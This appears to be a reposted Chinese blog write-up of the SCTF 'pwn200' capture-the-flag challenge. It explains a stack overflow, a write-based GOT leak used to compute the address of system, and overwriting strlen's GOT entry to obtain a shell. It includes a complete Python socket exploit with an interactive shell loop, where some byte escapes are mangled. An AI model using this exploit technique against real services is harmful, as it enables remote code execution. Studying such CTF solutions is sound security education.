sctf pwn200

  题目给出了pwn200和libc.so。使用IDA查看程序,发现逻辑很简单。

  使用checksec查看pwn200的安全属性,如下图:

  

  发现NX enabled,No PIE。

  在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构:

  发现可以将nbytes覆盖,可以覆盖为0xff。

  在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call    _write”,并且构造栈参数(为了泄露库函数的虚拟地址)。如下:

  这样程序一返回(080485C1 retn)就执行write库函数,通过GOT泄露出某个库函数(这里可以泄露read的虚拟地址)的虚拟地址,从而通过IDA查看libc.so中system的位置和read的位置差,可以计算出system的虚拟地址。

  紧接着会第三次读(0x08048524位置),这个读到内存的位置是:ebp+buf即ebp-0x1C,那么我们可以通过在第二次读的时候构造理想的ebp,使得我们能够将覆盖GOT中strlen库函数的虚拟地址,覆盖为system的虚拟地址;同时,将buf开始处存储/bin/sh。这样在进行接下来的strlen函数调用时,相当于执行system("/bin/sh"),因此获得shell。

  exploit是来自http://www.imsebao.com/。思路很清晰,我稍加注释。

from socket import *
from struct import *
import time

#remote
'''
readOffset = 0x000de3a0
systOffset = 0x0003f430
'''
#local
readOffset = 0x000bdd20
systOffset = 0x00039100

param = '/bin/shx00' + 'ls home' + 'a'*5#'ls home' and 'a'*5 are paddings so that to override 0x08049858
#0x08049858 is strlen's address
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.200.7', 10001))
#construct name,override nbytes to xff 
name = 'syclover'+ 'x00' + 'abcdefg' + 'xFF'
# input name:
print s.recv(1024)
s.send(name)
 
showReadGot = 'A'*156
showReadGot += pack('<I', 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst
showReadGot += pack('<I', 0x08048507)#override ret to call write
showReadGot += pack('<I', 1)#stdout
showReadGot += pack('<I', 0x08049850)#src,read's got
showReadGot += pack('<I', 4)#num
# input slogan:
print s.recv(1024)
s.send(showReadGot)

read = s.recv(1024)[-4:]#leak read's virtual address in process
viraddr_read = unpack('<I', read)[0]
print 'viraddr_read: %x' % viraddr_read
syst = viraddr_read - readOffset + systOffset
print 'system: %x' % syst
 
exploit = param + pack('<I', syst)
s.send(exploit)
 
while True:
    s.send(raw_input('$ ') + '
')
    time.sleep(0.5)
    print s.recv(1024)

   总体思路,信息泄露(通过write)获取system的线性地址;任意地址写(通过read)修改GOT中strlen库函数的地址为system的线性地址。

原文地址:https://www.cnblogs.com/wangaohui/p/4392488.html